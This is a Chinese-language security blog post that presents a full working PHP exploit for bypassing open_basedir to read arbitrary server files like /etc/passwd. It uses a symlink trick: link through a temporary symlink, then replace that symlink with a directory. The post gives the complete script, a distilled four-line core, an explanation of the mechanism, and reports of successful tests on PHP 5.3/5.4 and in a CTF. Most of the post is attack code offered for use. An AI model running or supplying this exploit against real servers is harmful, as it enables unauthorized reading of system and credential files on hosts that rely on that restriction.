標籤:style blog http io ar color os sp for
這是前段時間寫的代碼了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙著和幾個同學一起做非安全類的創業項目。所以也沒拿到JAE、SAE測試一下。
不說了。。進入正題。
漏洞很久之前(大概5年前)被提出來了,但並不是php代碼上的問題,所以問題一直存在,直到現在。我一直沒留意,後來yaseng告訴我的,他測試了好像5.5都可以。
他在評論裡發過了:http://zone.wooyun.org/content/17131,漏洞詳情在這裡http://cxsecurity.com/issue/WLB-2009110068。
給出我寫的EXP:
<?phpheader(‘content-type: text/plain‘);error_reporting(-1);ini_set(‘display_errors‘, TRUE);printf("open_basedir: %s\nphp_version: %s\n", ini_get(‘open_basedir‘), phpversion());printf("disable_functions: %s\n", ini_get(‘disable_functions‘));$file = str_replace(‘\\‘, ‘/‘, isset($_REQUEST[‘file‘]) ? $_REQUEST[‘file‘] : ‘/etc/passwd‘);$relat_file = getRelativePath(__FILE__, $file);$paths = explode(‘/‘, $file);$name = mt_rand() % 999;$exp = getRandStr();mkdir($name);chdir($name);for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]);}mkdir($paths[$i]);for ($i -= 1; $i > 0; $i--) { chdir(‘..‘);}$paths = explode(‘/‘, $relat_file);$j = 0;for ($i = 0; $paths[$i] == ‘..‘; $i++) { mkdir($name); chdir($name); $j++;}for ($i = 0; $i <= $j; $i++) { chdir(‘..‘);}$tmp = array_fill(0, $j + 1, $name);symlink(implode(‘/‘, $tmp), ‘tmplink‘);$tmp = array_fill(0, $j, ‘..‘);symlink(‘tmplink/‘ . implode(‘/‘, $tmp) . $file, $exp);unlink(‘tmplink‘);mkdir(‘tmplink‘);delfile($name);$exp = dirname($_SERVER[‘SCRIPT_NAME‘]) . "/{$exp}";$exp = "http://{$_SERVER[‘SERVER_NAME‘]}{$exp}";echo "\n-----------------content---------------\n\n";echo file_get_contents($exp);delfile(‘tmplink‘);function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, ‘\/‘) . ‘/‘; $from = str_replace(‘\\‘, ‘/‘, $from); $to = str_replace(‘\\‘, ‘/‘, $to); $from = explode(‘/‘, $from); $to = explode(‘/‘, $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, ‘..‘); break; } else { $relPath[0] = ‘./‘ . $relPath[0]; } } } return implode(‘/‘, $relPath);}function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.‘/‘.$file); if(($file!=‘.‘) && ($file!=‘..‘)){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; }}function File_Str($string){ return str_replace(‘//‘,‘/‘,str_replace(‘\\‘,‘/‘,$string));}function getRandStr($length = 6) { $chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘; $randStr = ‘‘; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr;}
如我們欲讀取/etc/passwd。其實原理就是建立一個連結檔案x,用相對路徑指向a/a/a/a,再建立一個連結檔案exp指向x/../.. /../etc/passwd。其實指向的就是a/a/a/a/../../../etc/passwd,其實就是./etc/passwd。這時候刪除 x,再建立一個x目錄,但exp還是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。
精華就是這四句:
symlink("abc/abc/abc/abc","tmplink");symlink("tmplink/../../../etc/passwd", "exploit");unlink("tmplink");mkdir("tmplink");
我們訪問http://xxx/exp,如果伺服器支援連結檔案的訪問,那麼就能讀到/etc/passwd。
其中並沒有任何操作觸發open_basedir,但達到的效果就是繞過了open_basedir讀取任意檔案。錯誤不在php,但又不知道把錯誤歸結到誰頭上,所以php一直未管這個問題。
我在我的VPS(php5.3.28 + nginx)和樹莓派(php 5.4.4 + nginx)上都測試過,成功讀取。
樹莓派測試:
相比於5.3 XML那個洞(那個很多檔案讀不了),這個成功率還是比較穩的,很多檔案都能讀。而且版本沒要求,危害比較大。
前幾天成信的CTF,試了下這個指令碼,apache也可以讀取,當時讀了讀kali機子的/etc/httpd/conf/httpd.conf,沒啥收穫。發現沒旁站,流量是通過網關轉寄的。
L戰隊幾個棍子都很給力,希望他們繼續666,我繼續圍觀。
http://zone.wooyun.org/content/17168
php5全版本繞過open_basedir讀檔案指令碼